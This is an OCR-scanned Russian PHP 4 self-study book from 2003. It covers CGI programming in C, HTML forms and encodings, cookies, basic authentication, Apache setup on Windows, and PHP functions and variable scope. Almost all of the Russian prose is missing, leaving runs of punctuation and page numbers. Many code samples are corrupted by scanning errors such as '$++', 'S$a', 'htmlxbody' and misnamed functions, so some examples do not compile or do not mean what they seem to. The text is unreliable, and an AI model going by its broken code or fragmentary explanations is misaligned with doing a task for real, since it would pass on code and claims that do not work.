Самоучитель. Рнр4

www.bhv.
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www.bhv.kiev.ua
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Li

Web-
4
-
-
2003
681.3.06
. .
4. .: -, 2003. 576 .: .
ISBN 5-94157-071-6
4 , , , Web-. HTTP CGI,
, , - , , .
Web-
681.3.06
:

.
02429 24.07.00. 27.01.03.

70x100V,e. . . . . 46,44.
. 5000 . Me 699
"-", 198005, -, ., 29.
, 77.99.02.953..001537.03.02
13.03.2002 . .

"" .
199034, -, 9 , 12.
ISBN 5-94157-071-6
. ., 2001
, "-", 2001
2
3
4
5
I. WEB-
1.
11

TCP/IP

IP-

....

- ()
HTML-
( HTML-)
Web-
World Wide Web URL
11
13
14
14
16
19
20
20
21
21
22
22
22
23
23
24
24
24
24
25
25
26
26
26
27
'
2. CGI
28
CGI?
URL
GET
GET
POST
Content-type
User-Age n t
28
29
30
32
32
32
33
IV
Referer
Content-length
Cookie
Accept
telnet
POST

""

POST\\
3. CGI

CGI-
CGI-

GET
POST
URL-
<input>
<textarea>
<select>

(file)
Cookies
Cookie
Cookies
Cookies
'
33
33
34
34
34
35
36
37
38
38
39
40
42
43
44
46
48
48
50
51
53
56
57
61
62
64
64
66
67
69
71
71
73
II. .
WEB- APACHE
77
4. Apache
79
: ?

: Apache
:
: Apache
: Apache
Apache
79
80
80
81
82
86
88
5. MySQL
93

Apache

MySQL
MySQL
93
95
96
97
98
100
III.
103
6.
105
?

-
Web
106
108
110
114
7. , ,
117

string
int, long
double,
bool
array
list
object
void
mixed
float
117
118
121
122
123
123
124
124
126
126
127
127
127
127
128
128
128
128
128
129
129
130
130
130
132
133
135
136
136
136
VI
137
137
138
138
140
140
8.
143

Cookies

143
145
146
148
149
151
9.
if-else

while
do-while
for
break continue
do-while break
foreach
switch-case
require
include
include

10.
" ".
list()
: ?
array()

countQ

11.

return
153
;
153
154
155
156
156
157
159
160
161
162
163
163
164
167
168
170
170
171
172
172
173
173
175
177
178
179
181
182
184
...185
VII

SGLOBALS

" "

: Dump()

186
187
188
190
191
192
194
195
195
197
198
199
201
202
IV.
203
12.
206

if-else

( )

-

13.

(asort()/arsort())
(ksort()/krsort())
uksort()
uasort()
array_reverce()
sort()/rsort()
usortQ
shuffleQ

...
206
207
209
210
212
213
214
216
217
218
219
221
223
225
226
226
226
227
227
228
228
228
229
229
230
231
232
VIII
232
232
234
236
14.
238
238
239
239
241
242
242
243
15.

or die()

/
/
CSV-

""

16.

:
17.
244
>
244
245
249
249
250
250
251
251
252
253
254
254
255
255
256
257
258
260
261
262
265
266
268
268
269
271
273
273
275
...276
IX
18.
277
19.
280
timestamp

20.
.

: ""
21. WWW

Cookies

Cookie
Cookie
SSI virtual()
virtualO
22. RegEx

RegEx

""

280
281
283
285
285
286
286
287
287
288
289
289
289
290
290
291
291
292
293
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296
296
296
297
297
298
298
298
299
299
300
302
304
304
305
305
308
309
309
309
310

E-mail
.....
23.
GetImageSize()
GD

RGB

RGB-

TrueType

:

24.

error^reporting
magic_quotesjgpc on/off
max_execution_time
track_vars on/off.

@

310
310
311
311
312
314
315
316
316
317
318
319
320
320
320
321
322
322
322
323
324
324
324
325
325
326
326
327
327
327
328
329
329
332
332
333
334
334
335
335
335
336
337
337
...338

25.
?

:
Cookies
SID

Cookies ?
26. MySQL

MySQL

MySQL

,

MySQL
MySQL

XI
339
339
341
343
344
345
345
346
347
348
349
349
350
351
352
352
354
354
357
357
358
359
360
361
362
363
364
365
365
366
366
371
371
371
371
372
372
...372
373
373
374
374
375
377
378
379
XII
27.

DNS
IP-
IP-
381
381
382
383
383
V.
387
28.
389
Multipart-

:

390
390
391
392
392
393
395
396
29. . ""

: auto_prependjlle
: Apache
Apache

30.
397
397
398
404
405
406
407
407
411
412
-.413
415
416
417
417
419
421
422
423
423
425
426
427
428
429
431
...433

Apache

""

31. -

MySQL

.
MySQL

32.
-

33.

checkbox
XIII
434
441
443
449
450
451
453
454
454
456
456
459
460
461
462
464
465
478
479
481
482
486
486
488
493
496
496
501
503
504
VI.
507
1. Apache httpd.conf
509
2. php.ini
536
555

-...
in
!!!
Get ReGet!
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FTP- HTTP-.
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Windows 2000 .
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29
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30
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URL-, . ). -
CGI-.
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31_
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32
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: CONTENT TYPE
2. CGI
33
.
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User-Agent
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Content-length
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34
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telnet www.somehost.com 80<Enter>
GET /index.html HTTP/1.0<Enter>
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2. CGI
35
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36
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37
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-, . ,
. .

, , GET POST.
URL- ,
, . , HTML
.
GET.
URL . ?, &, %...
, . ,
HTML, , ,
. ,
HTML, .
,
s c r i p t . c g i (, , cgi CGI-, , ,
). 2 :
name . , .
h t t p : / / w w w . s o m e h o s t . c o m / s c r i p t . c g i
HTML-:
<html><body>
, name! , age !
</body></html>
, name age , .
38
I. Web-
""
URL, . ,
http://www.somehost.com/script.cgi?riame=Vasya&age=20
:
<htmlxbody>
, Vasya! , 20 !
</body></html>
, &,
=. . , .

,
0 , - Windows, . ,
HTML- (, form.html ) , . 2.1.
I 2.1. /form.html
<htmlxbody>
<form action=script.cgi method=GET>
:
<input type=text name="name" value="Hen3BecTHbM"xbr>
:
<input type=text name="age" value="HeonpefleneHHbM"><br>
<input type=submit value=" !">
</body></html>
,
(, name="age"), . , ,
HTML ( , ,
), . name value ,
. , HTML ( -
2. CGI
39
),
.
. :
'jlXAhomolciaclcciAwwwYlorm.hlml - Microsoft
^ | J
. ........,"..............
^ '
'
\ |
-;:
."
...
; ."
http://wvvw.sornehos1.camAorm.html
: [
: (
! J
;
:.[ | | |S|
. 2.1. HTML-
, ,
!, URL,
action <form> :
http://www.somehost.com/script.cgi
? , input
, (&). =. , ?
, URL,
, (,
Vasya 20 ):
http://www.somehost.com/script.cgi?name=Vasya&age=20
, , , , , URL-
. ,
.

action <form>. (/), .
40
I. Web-
, script.cgi ,
(, HTML- ).
(
, , , "" . - ( , , ), URL, / URL .

http://www.somehost.com. , .
, .
, ,
. action :
<form action="/some/path/script.cgi">
,
(, , )
/ . , , ,
URL , ,
( ).
:
<form action="http://www.other.com/any/script.cgi">
, ,
, , .
, ,
"" .
World Wide Web ( ) , ,
.
POST
, GET, POST? : method=GET
method=PosT. .
action <form> ,
GET.
2.
CGI
41
,
, , . .
,
, .
: , - ( ).
, , : , . ,
HTML- ,
. , , ,
, . ,
, : ", . , ?". , ,
URL .

( 99% , ). , ""
( URL , , , ). ( ) .
.
CGI
CGI.
, .
- CGI- (CGI), ? , ?
, .
,
CGI-. ,
, , () - CGI- ( ). , . , . . ; , ,
( ,
, .). ,
- .
,
( , "Hello,
world!"). , ,
( , , , ,
Web-). , CGI , , . , (,
).
-, , ( !) ,
( ++).
, ,
,
.
3. CGI
43
, .
, " ". , ,
, HTTP
. ,
Web-.
,
, . , CGI HTML, , . , , .
, ,
( Web), . . ( )
. , , ,
, . , ,
:
( ) .
( , ):
( stdout), . ,
, , "". ( ,
. ,
"" .)
, , . , : ,
. ,
, , GIF ?
.
44
I. Web-

, , . , ( ), , .

\\. , , , , .

, . ,
. , , :
/1.1
:
/1.1 404 File Not Found
,
. , . , , ,
.
( )
,
. , ,
(,
status, ). .
.
Content-type
: Content-type: !_; charset=koi8-r
. charset
( KOIS-R). mime_n
, :
text /html HTML-;
D text/plain ;
image/gif GIF-;
3. CGI
45
image/jpeg JPG-;
.
Pragma
: Pragma: no-cache
, ,
. , , ,
.
Pragma ( ,
),
.
Location
: Location: http://www.otherhost.com/somepage.html
,
,
(
URL). , ,
Location, .
Location , . , , , , .
Netscape , , Location URL ( ,

, self-redirect). , , , , . Netscape ,
- , " ". , /. V .
Set-cookie
: Set-cookie:
_)<1
Cookie . , Cookies .
46
I. Web-
Date
: Date: Sat, 08 Jan 2 0 0 0 1 1 : 5 6 : 2 6 GMT
.
Server
: Server: A p a c h e / 1 . 3 . 9
(Unix)
PHP/3.0.12
CGI-
,
, ( 3.1).
! 3.1. script.
!...
#include <time.h>
// rand()
#include <stdio.h>
// /
#include <stdlib.h> // rand()

// . ,
void main(void) {
//
int Num; time_t t; srand(time(St));
// Num 0 9
Num = rand()%10;
// . html-
printf("Content-type: text/html\n");
//
printf("Pragma: no-cache\n") ;
//
printf("\n");
//
printf ("<htmlxbody>") ;
printf ("<>!</>") ;
printf(" 0-9: %d",Num);
printf ("</bodyx/html>") ;
3. CGI
47
CGI .
cgi-bin,
. , , (
).
, , ,
.
:
http://www.myhost.com/cgi-bin/script.cgi
HTML-. , Reload
( ) , (
).

Pragma: no-cache
, ,
HTML-,
. ,
- GIF- (, ). :
Content-type: image/git
-- GIF-
( fwrite, . . "" GIF-).
:
... - ...
<img src=http://www.myhost.com/cgi-bin/script.cgi>
... ...

, . ,
,
, . , .
: CGI- HTML-, MIDI-.
content-type. He -
48
I. Web-
, 500- (
Apache), .

CGI-
, ( , ), .
,
, ( POST) .
.

.
, , , (
). (
, ):
_
( , ) - , . , */*, , .
HTTP_REFERER
, , CGI. , ,
, ( , , -
).
HTTP_USER_AGENT
. MSIE, Internet Explorer,
, Moziiia, Netscape.
3. CGI
49
HTTP_HOST
Web-, . ,
Host HTTP 1.1.
, , , Location,
( ,
"" , ,
).
SERVER_PORT
( 80), . Location.
REMOTE_ADDR
IP- ( ) , .
REMOTE_PORT
, .
SCRIPT_NAME
( URL
, ?). , ,
Location
(self-redirect), action
<form> , (
).
REQUEST_METHOD
, ( GET POST, ). , , ,
, ,
, , POST. , .
QUERY_STRING
, URL . , GET, POST (
action <form>).
50
I. Web-
CONTENT_LENGTH
, .
,
POST-.
GET
. ( ,
, URL ?) QUERY_STRING.
, URL-. .
, .
, getenvo . ,
.
: 3.2.
#include <stdio.h> // /
ftinclude <stdlib.h> // getenvO
void main (void) {
// REMOTE_ADDR
char *RemoteAddr = getenv("REMOTE_ADDR") ;
// ... QUERY_STRING
char *QueryString = getenv("QUERY_STRING") ;
//
printf ("Content-type: text/html\n\n") ;
//
printf ( "<htmlxbody>" ) ;
printf ("<1>. !</>");
printf (" IP-: %s<br>",RemoteAddr) ;
printf (" , : %s",QueryString) ;
printf ("</body></html>") ;
CGI-.
:
http: //www.myhost.com/cgi-bin/script. cgi?a=l&b=2
3. CGI
51
:
. !
IP-: 1 9 2 . 1 6 8 . 2 3
, : =1&=2
POST
GET,
, ( stdin). To ,
, , . (, ,
, " " .)
: , POST,
, GET. ,
POST URL. , ,
QUERY__STRING.
,
POST? ? CONTENT_LENGTH,
(, ).
, POST-,
GET-, :
| 3.3. POST
#include <stdio.h>
linclude <stdlib.h>
void main(void)
//
char *RemoteAddr = getenv("REMOTE_ADDR");
char *ContentLength = getenv("CONTENT_LENGTH");
char *QueryString = getenv("QUERY_STRING");
//
int NumBytes = atoi(ContentLength);
//
char *Data = (char *)malloc(NumBytes + 1);
3 . 699
52
I. Web-
I /
fread(Data, I, NumBytes, stdin) ;
//
// ( )
Data [NumBytes] = 0;
//
printf ( "Content-type : text/html\n\n" ) ;
//
printf ( "<> . ! </>") ;
printf (" : %d<br >", NumBytes );
printf (" , : %s<br>", Data) ;
printf (" , URL: %s",
QueryString) ;
, ,
s c r i p t . cgi , / c g i - b i n / .
HTML- :
| 3.4. POST-
<htmlxbody>
vform dction=/cgi-bin/script . cgi?param=value method=post>
Namel: <input type=text name="namel"xbr>
Name2 : <input type=text name="name2"Xbr>
<input type=submit value="3anycTOTb !">
</form>
</bodyX/ntml>
, - ,
HTML-, , , :
. !
IP-: 1 3 6 . 2 3 4 . 5 4 . 2
: 23
, : namel=Vasya&name2=Petya
, URL: param=value
3. CGI
53
, POST , GET.
, POST ,
"" (
HTTP HTML).
URL-
, , , , ""
, URL-. ,
URL- .
. ,
, .
, , - ( "" ,
) %, .
, .
(, ) , ( ,
& =). , & =, ?
, ? , . , , .
, : (=),
( =),
, :
| 3.5. URL-
// st .
// , .
void UrlDecode (char *st) {
char *p=st; //
char hex[3]; // %
int code;
//
// , ( ,
54
I. Web-
// 0, . )
do {
// %~ . . .
i f ( * s t == ' % ' ) { //
h e x [ 0 ] = * ( + + s t ) ; h e x [ 1 ] = * ( + + s t ) ; hex[2]=0;
//
sscanf(hex,"%X",Scode);
//
*p++=(char)code;
// ,
//
// , "+", " "
else if(*st=' + ') *p++=' ';
// ,
else *p++=*st;
} while(*st++!=0); //
,
, , , , . , , . .
sscanf () . ,
, , .
, , . :
| 3.6. POST- URL-
#include <stdio.h>
#include <stdlib.h>
void main(void) {
//
char *RemoteAddr = getenv("REMOTE__ADDR");
char *ContentLength = getenv("CONTENT_LENGTH");
// QUERY_STRING
char *QueryString = malloc (strlen (getenv ("QUERY STRING")) -I- 1);
3. CGI
55
// QUERY_STRING
strcpy (QueryString , getenv ( "QUERY_STRING" ) ) ;
// QUERY_STRING
UrlDecode (QueryString) ;
//
int NumBytes = atoi (ContentLength) ;
//
char *Data = (char* )malloc (NumBytes + 1) ;
//
fread(Data, I, NumBytes, stdin) ;
//
// ( )
Data [NumBytes j = ;
// ( ,
// POST-, )
UnDecode (Data) ;
//
printf ("Content-type: text/html \n\n") ;
//
printf ("<> . ! </hl>") ;
printf ( " : %d<br>", NumBytes);
printf (" , : %s<br>", Data) ;
printf (" , URL: %s",
QueryString) ;
, .
QUERY_STRING. ? , . . , , 3.5.
, ,
. ? : QueryString
QUERY_STRING, , ,
. urlDecode ,
56
I. Web-
, , , .
, QUERY_STRING ,
, - ,
. .
, ? , . , , " , "
(
).

( submit). ,
(
).
3 :
<input...>
<textarea...>...</textarea>
<select. . .xoption. . .>. . .</option>. . .</select>
, , . ,
= , , &. , ,
, name, = .
, , . ,
( , JavaScript) . . , :
<form action=script.cgi>
... - ...
<input type=submit value="Go!">

</form>
, Go! ,
, name.
. ,
, , -
3.
CGI
57
- (, URL
). :
<form action=script . cgi>
<input type=submit name=" submit" value="Go!">
</form>
Go!
submit=Go ! . , , URL (
,
submit).
, , <seiect>,
=,
, name, ,
, value (,
, ).
<input>
,
type. .
, ,
( , name
, ).
!
.
HTML , .
, .
(text)
<input type=text
=
[ != ]
[!=]
[!=]
size maxlen (
).
58
I. Web-
, , , maxlen
. , ( "" <input>) , .
value,
.
(password)
<input type=password
=
[value=3Ha4eHMe]
[!=]
[!=]
>
<input type=text>, ,
, , .
, - . ,
value, , , HTML- , ,
() ( ). , , , , , ,
- .
(hidden)
<input type=hidden
=
va1=
>
() . , - ,
, , .
, , CGI-, . E-mail ,
, , :
<form action=/cgi/sendmail.cgi method=post>
3. CGI
59
<input type=hidden nanv;=email value="admin@microsoft . com. ">

<2> : </h2>
<input type=text name="text">
<input type=submit name=doSend !="0">
</form>
, text email. , . :
<forra action=/cgi/sendmail . cgi method=post>
<.2> :</h2>
E-mail: <input type=text name=emailxbr>
: <input type=text name="text"xbr>
<input type=submit name=doSend value="Oroc7iaTb">
</form>
, . , ,
.
,
, URL
. , , ,
submit.
(
submit ,
. , , ,
submit ( ).
<Enter> ,
submit-. , .
- hidden-, , submit:
, , -
,
URL .
(checkbox)
<input type=checkbox
=
[checked]
60
I. Web-
( ), , (
). ,
, =, , .
checked, , .
(radio)
<input type=radio
=
( ).
, , , . , , . ,
, . , name
, . , , , . - , =, ,
value ( , ). checked,
, .
, : ?
, ? . ,
( ) , "", . , 3 , 3 , (
!). , ),
...
(submit)
<input type=submit
=]
3. CGI
61
value=TeKCT
name ( )
(, ),
value. , name, .
=_ ( , ,
, , ). ,
submit,
(, - ) ,
, .
(reset)
<input type=reset
value=TeKCTKHOriKM
, . , (,
, ). , . .
reset .
(image)
<input type=image
[=]
s r =
,
, submit, , , ( ).
: .=&.=, (, Y) .
name , : x=x&y=Y.
<textarea>
, <textarea>.
, <input type=text>,
, . :
<textarea
=
62
I. Web-
[width=iiiMpiffla] [height=BbicoTa]
[=]
>, oe</textarea>
, . width , a height . wrap

, .
( ).
virtual . , , ,

, .
<Enter>.
CD Physical , .
None , .
, (
, ).
, , , , =, <input type=text>.
<select>
<seiect>. ( ) .
. :
<select = [size=pa3Mep] [multiple]>
<option [valuel=3Ha4eHMel][selected]>CTpoKal</option>
<option [!2=2] [selected]>CTpOKa2</option>
<option [valueN=3Ha4eHneN][selected]>CTpOKaN</option>
</select>
, . , <option>, .
size , . size 1,
, size
. multiple,
, . , multiple .
3. CGI
63
<option>.
value, , , ,
(, value ). ,
selected, .
, : </option> ,
HTML ( ).
,
. , =, <select>,
( , value, ).
(multiple)
, multiple? : , ,
He-multiple-, , . , , , :
=!&=2&...&=
, , . , . , , -:
<input type=checkbox = value="CiH">OflMH<br>
<input type=checkbox = value="flBa">flBa<br>
<input type=checkbox = value="TpM">TpM<br>
, (, URL- ):
=&=&=
:
,
. ,
"", "". .
, multiple- ( ), -miltiple . , , <seiect>
,
.
64
I. Web-
, . ,
Web. V.
, ,
. HTML
. .

,
?, & =. ,
, ,
. , , , URL- "" - - (,
URL- %). . , , , .
? &. , ,
POST, GET.
, GET ...
, - , <form>
enctype=muitipart/form-data. ( , ,
, enctype=appiication/xwww-form-uriencoded
.) , , ( ).
HTTP- "-",
. (\, , ):
_\
Content-Disposition: form-data; =""\
3. CGI
65
\n
\n
, :
3.7. Multipart-
<form action=... enctype=multipart/form-data method=post>
Name: <input type=text name="Name" value="Moe "><>
Box: <input type=checkbox name="Box" value=l checkedxbr>

Area: <input type=textarea =""> - TeKCT</textarea><br>
<input type=submit>
</form>
, submit ,
:
127462537625367\
Content-Disposition: form-data; name="Name"\n
\n
\
127462537625367\n
Content-Disposition: form-data; name="Box"\n
\n
l\n
127462537625367\n
Content-Disposition: form-data; name="Area"\n
\n
, (
_) . ,
,
. , . . , , , , , . , ,
( \).
HTTP , .
66
I. Web-
, .
( )
( ), , , . ( , )!
.
: , ="-"
( Content-Disposition),

, ( ,
). , .
HTTP ,
\\, \. , , , ,
\. , , .
(file)
, . , , Browse . <input>:
<input type=file
=_
[value=MMH ]
>
- (, \
^) .
:
127462537625367\
Content-Disposition: form-data; ="_";
> f11="\ "\ \
.

.
3. CGI
67
,
( filename).
, , .
, :
,
( , , ).
, ,
.
Cookies
Cookies (
, "" , "", ""). "",
Netscape , .
"" , , , , Cookies, ,
. ,
Cookie -- "".
. , :
, E-mail, (
), , ,
,
. -.
, , ,
.
,
? , -,

, , ,
?
, .
, , , .
: ,
IP-
. , ,
,
68
I. Web-
. , ( , ) IP-
() (
IP-, , , - ). , , .
,
, ,
, .
Cookies. Cookie , ( , !), ( ,
) . , Cookies, ,
, ,
. Cookies ,
,
(
Cookie). , Cookies,
"" ( , ), -- "".
,
? , , Cookies (
. ), , . , HTML- value (, ,
Cookies).
. , .
Cookies, , , Cookies ( ,
). , Cookies . Cookies,
Internet Explorer, "" Netscape, .
, , Cookies
,
. , Internet Explorer.
,
Netscape ( , , ). ...
, .
3. CGI
69
. , Cookie
, . , ,
Cookie, URL , -
( ).
? : , Cookies,
(,
, , Cookies).
"" Cookies
. : ,
, (
,
Cookies). , "" Cookies

- Cookie , ,
( ),
.
Cookie
: Cookie ? " ", . : Cookie
, .
, Content-type,
Cookie. (, , ):
Set-Cookie: name=value; !=; 1!=_; path=nyTb; secure
Cookie HTML <meta>. , , Cookie. :

<meta http-equiv="Set-Cookie"
content="name=value; !=; 1!=_; path=nyTb; secure"
>
, . : , Cookie, <meta>. ,
. . ,
70
I. Web-
, .
^
, , : " ,
?" : " ,
! , (, ,
)".
Cookie:
name
, Cookie.
URL- , . . - . , Cookies
, URL- .
value
, Cookie. , ( Cookie)
URL-. , ,
URL- (, ,
2 , , . .
).
expires
!= Cookie. , Cookie , . ,
expires=Friday,3i-Dec-99 2 3 : 5 9 : 5 9 GMT, ""
"" 31 1999 . , :
, "" Cookie.
(, ,
Cookie 10 , )? ,
. ,
, , , .
domain
!1=_ , Cookie.
. , ,
3. CGI
71
, , ""
Cookie . , , .
path
path=nyrb (, URI),
, Cookie. ,
, , , . : , , , URI ( ) ,
Cookie .
secure
HTTPS, .
( ,
),
.
, (
<meta>), Cookie name value.
: Cookie URL, .
Cookies
Cookies : HTTP_COOKIE , QUERY_STRING,
& ;. , Cookies:
cookiel=valuel cookie2=value2, TO _1
:
cookiel=valuel;cookie2=value2.
,
.

Cookies
, Cookies.
URL- , .
72
I. Web-
\ 3.8. , Cookies
#include <stdio.h>
#include <stdlib.h>
//
void main() {
//
char Buf[1000];
// Cook Cookies
char *Cook = getenv("HTTP_COOKIE") ;
// 5 ("cook="),
// Cookie,
// (. ).
Cook += 5;
// 5
// QUERY_STRING
char *Query = getenv("QUERY_STRING");
// , ,
// , , ,
//
if(strcmp(Query, "")) { // ?
// QUERY_STRING,
// 5 ( "name=") //
strcpy(Buf, Query + 5);
// , Cookie
printf("Set-cookie: cook=%s; "
"expires=Friday,31-Dec-Ol 23:59:59 GMT", Buf);
// Cookie
Cook=Buf;
}
//
printf("Content-type: text/html\n\n") ;
printf ("<htmlxbody>\n") ;
// ( ),
if(strcmp (Cook, "")}
printf("<1>, %s!</hl>\n",Cook);
3. CGI _
73
//
printf ("<form action=/cgi-bin/script . cgi method=get>\n") ;

printf("Baine : " ) ;
printf ("<input type=text name=name value=' %s' >\n", Cook) ;
printf ( "<input type=submit value=' ' >\n" ) ;
printf ( "</f orm>\n" ) ;
URL . - , . ,
31 2001 URL, ,
- . , ,
"" . ,
Cookie ,
, .
, . URL-
Cookies, , . , , : Cookies
setcookie ( ) ,
Cookies ,
. .
, , ,
Cookies? ...
. .
, - URL . , , (login) (password).

.

. -, , . -,
CGI- , -
74
I. Web-
, ( ) , , , ( , ,
). , -, , .
.
,
basic-. , , :
WWW-Authenticate: Basic 1\="_"
/1.0 401 Unauthorized"
,
. . _ , ,
.
CGI- () , (
), .
, , ( ,
,
(. ) Cancel, . . ). : , login password.
, ,
( )
:
Authorization: Basic TG9naW46UGFzcw==
, , .
, -
(
). , , :
( ),
"., , ".
, ""
. : login password
3. CGI
75
Cookie, ""
. , ,
Authorization: Basic _]<;1
( )
. , , ,
, . .,
.
: REMOTE_USER, .
,
.
II.

.
WEB- APACHE
Apache
:
?
"" Apache, , - Apache Windows 95/98. , ,
MySQL,
Windows. (, !), ,
Web!
, MySQL ( Windows 95/98)

, . , :
MySQL
Windows 95/98, MySQL: http://www.mysql.com.
,
(, Perl),
,
, . ,
100% , -
( - Unix,
Windows). ,
Win32, , , Apache ,
MIIS (Microsoft Internet Information Server Microsoft) ASP (Active Server Pages -
), , , .
, , . ,
HTML-.
SSI (Server-Side Includes ), CGI (Common Gateway Interface ) , -
80
II. . Web- Apache
, . ?
(
) -- Web. - ,
... ,
, "". Apache. ,
,
Windows 95/98 PHP, CGI Perl-
, Unix.

,
.
. :
Apache: http://www.apache.org;
: http://www.php.net;
MySQL: http://www.mysql.com;
Active Perl: www.activestate.com;
, Web-.
: http://www.webclub.ru.
: http://www.phpclub.net.
dk: http://www.dklab.ru.
:
Apache
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Welcome to the Apache Web Server Setup program.

This program will install Apache Web Setver on your
computer.
'.
It is strongly recommended thai you exit all Windows pro grams
before running this Setup program.
Click Cancel to quit Setup onb* then dose emy programs you have
running, pick Next to continue with the Setup program.
WARNING: This program is protected by copyright faw end

international treaties,
Unauthorized reproduction or distribution of this program, or any portion

. of it may result in severe civil end criminal penalties, and will be
prosecuted to the maximum extent possible under law.
fciext>
. 4.1. Apache
Choose Destination Location
Setup will install Apache Web Server in the following folder. ,,.;..
To insteif to this folder, dick Next
To install to a different folder, click Browse and select another folder.
You can choose not to install Apache Web Server by clicking Cancel
to exit Setup-
Destination Folder
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C:\Program FilesVâcfie GroupNApache
<Eack
1 fcjexo
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82
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Apache (. 4.2). ,
( , , C : \ P r o g r a m F i l e s \ A p a c h e Group\Apache). -
.
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5. Finish. , .
Setup Type
Click the type of Setup you prefer, then click Next.
Program will be installed wllh the mostcommon

options. Recommendedformostusers.
Compact
Program will be installed with minimum required

options.
Cy.st.om
You may choose the optjonsyouwantto install.

Recommended for advanced users
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Apache
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Apache Group\Apache\htdocs, . ,
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(, z : )
subst, Windows. ,
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z : .
2. C:\autoexec.bat ( @echo off,
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DocumentRoot z:/home/localhost/www
, <oirectory/> </oirectory> ( ).
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:
<Directory z:/>
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AllowOverride All
Allow from all
</Directory>
4. Apache
85
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( z: ). ,
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.htaccess .

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, .
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.htaccess .
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ScriptAlias /cgi-bin/ "z:/home/localhost/cgi/"
:
ScriptAlias /cgi/ "z:/home/localhost/cgi/"
, , . , CGI-.
Apache , ,
http: / / l o c a i h o s t / c g i - b i n , z: /home/iocaihost/cgi. CGI , /cgi-bin/
localhost, . CGI- / c g i / .
, <oirectory " : /
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( !)
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AddHandler cgi-script .bat .exe .cgi
86
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Apache , exe, bat cgi CGI-.

:
AddType text/html .shtml
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Apache SSI.
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Apache, !
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Apache.
, , - h t t p d . c o n f .
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1. MS-DOS. , . command
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apache.exe
3. Apache ,
httpd.conf, .
httpd.conf , ,
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, .
Windows
, , .
, , . Start Apache <Ctrl>+<Alt>+<A>, Stop Apache <Ctrl>+<Alt>+<S>.
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, <Ctrl>+<Alt>+<S>.
, .
4. Apache
87
html
z:/home/localhost/www, HTML- Apache,
index.html . :
http://localhost/index.html

http://localhost/
SSI
z: /home/iocaihost/www HTML- Apache
test.shtml ( include!):
: 4.1. test.shtml
SSI Test!<hr>
"aa", "b"=>"bb", " c " = > a r r a y ( " x " = > " x x " ) ! ;
$st=Senaiize($A) ;
echo $st;
// - :
//
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-, , "" , .
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:
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function GetMaxNum($arr, $max="")
{ //
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//
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186
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1 1.
187

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function Test($a)
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function Test($a)
{ echo "$a\n";
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}
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// $num=ll!
echo $num;
// 11!
188
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PHP
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function Test(S$a)
{ echo "$a\n";
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189
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function myecho ( )
(
for($i=0; $i<func_num_args (}
for($j=0; $j<$i; $j++) echo "Snbsp;"; //
echo func_get_arg($i) . "<br>\n";
//
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myecho ("", "", "", "");

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| 11.7. f uct_get_args ( )
function myecho ( )
{
foreach (func_get_args () as $v) {
for($j=0; $j<9$i; $j++) echo "Snbsp;";

echo "$v<br>\n";
190
III. PHP
// ""
myecho ("", "", "", "");
foreach , @, "" , $1
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. ( 11.8):
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{ echo $a; // $
// $ !
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}
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// 1
echo $a;
// 100 $, ,
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. ( 11.9):
; 11.9.
function Silly()
{ $i=rand();
echo Si;
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//
// $1 $1 !
)
for($i=0; $i!=10; $i++) Silly ;
11.
191
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{ global $i;
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( "",
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| 11.11.
I
$Monthes[1]="";
$Monthes[2]="";
192
III. PHP
. . . . .
$[12]="";
// . 1!
function GetMonthName ($n)
{ global $Monthes ;
return $Monthes [$n] ;
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, $Monthes, ,
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// . 1!
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:
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11.
193
$GLOBALS . , ,
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, global,
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. :
function Test()
{ global $a;
$=10;
194
III. PHP
Test :
function Test()
{ $a=S$GLOBALS['a'];
$=10;
}
, unset ($)
$, "" $.
. :
$=100;
function Test()
( global $a;
Unset($a);
}
Test () ;
echo $a;
// 100, . . $ TestO !
global 4, . .
!
3, echo : $ . 4.
$ ?
: $GLOBALS [ ' 1 ] :
function Test{) { unset($GLOBALS['a']); }
$a=100;
Test () ;
echo $a; // ! $ !

, , , , . , . ( 11.12):
I 11.12.
function S i l l y ( )
{ static $a=0;
11.
195
echo $a;
$++;
}
for($i=0; $i<10; Si++) Silly ();
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( if($n<=0) return 1;
else return $n*Factor($n-l) ;
}
echo Factor(20);

.
:
function Factor($n)
{ for($f=l; $n>l; $n) $f*=$n;
return $f;

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196
III. PHP
,
"", , , "-"
. , V , , ( )
.
, "" ( 11.13):
I 11.13.
;
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function Parent($a)
{ echo $;
function Child($b)
{ echo $b+l;
return $b*$b;
}
return $a*$a*Child($a); // $a*$a*($a+l)*($a+l)

}
//
Parent(10);
Child(30);
//
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11.
197
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1 11.14.
if ($OS_TYPE=="win")
{ // -
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( //
return 1 ;
else
{ / / chown ( )
function MyChOwn($fname, $attr)
( return chown ($fname, $attr) ;
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III. PHP
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chown ( )
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), ,
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:
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{ function chown ($f name, $mode)
{ //
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11.
199
. , . . , " ".
:
function A($i) { echo "a $i\n"; }
function B($i) { echo "b $i\n"; }
function C($i) { echo "c $i\n"; }
$F="A";
// $F="B" $F="C"
$F(10);
// , $F
.
uasort ( } , , ,
,
. 13,
:
//
function FCmp($a,$b)
( return strcmp(tolower($a),tolower($b))
}
$a=array("b"=>"bbb", "a"=>"Aaa", "d"=>"ddd);

uasort($a,"FCmp"); //
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,
.
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.

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return. , , . :
$=100;
function R()
{ global $a; // $
200
III. PHP
return $a; // , !
}
$b=R();
$b=0;
// $, $!
echo $a; // 100
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$,
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( 11.15):
! 11.15.
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{ global $a; // $
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}
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// $!
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20
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.
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// , ""
function TextDump (&$Var, $Level=0)
{ if (is__array($Var) } $Type="Array[" . count ($Var) ."]";
else if (is_object(SVar) ) $Type="Object";
else $Type="";
if($Type) {
echo "$Type\n";
for (Reset ($Var) ,$Level++; list ($k, $v) =each ($Var) ; ) {
if (is_array ($v) && $k==="GLOBALS") continue;
for($i=0; $i<$Level*3; $i++) echo " ";
echo "<b>".HtmlSpecialChars ($k) . "</b> => ", TextDump ($v, $Level) ;
else echo "" ,HtmlSpecialChars ($Var) , "" . "\n";
//
function Dump(&$Var)
if ( (is_array($Var) | |is_object ($Var) ) && count($Var))
echo "<pre>\n", TextDump ($Var) , "</pre>\n";
else
III. PHP
202
echo "<tt>",TextDump($Var),"</tt>\n";
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//
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// , 1
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// ! 3!
208
IV.
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12.
209
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for($y=0; $y<16; $++) {
$Chars[$x][$y]=array($i,chr($i));
// ,
// HTML-
<table border=l cellpadding=l cellspacing=0>
210
IV.
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{?>
<tr>
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<td>
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</td>
<?}?>
</tr>
<?} ?>
</table>
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, .
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8 . 699
212
IV.

int strlen(string $st)
. , . .,
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). strlen ( ) .
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. $str, $start $iength. $ length , $ start

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12.
213
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, - 4,
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, $break, ,
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. , $break. ,
60 -
214
IV.
, " " ( ,
, ):
function Cite($OurText, $prefix="> ")
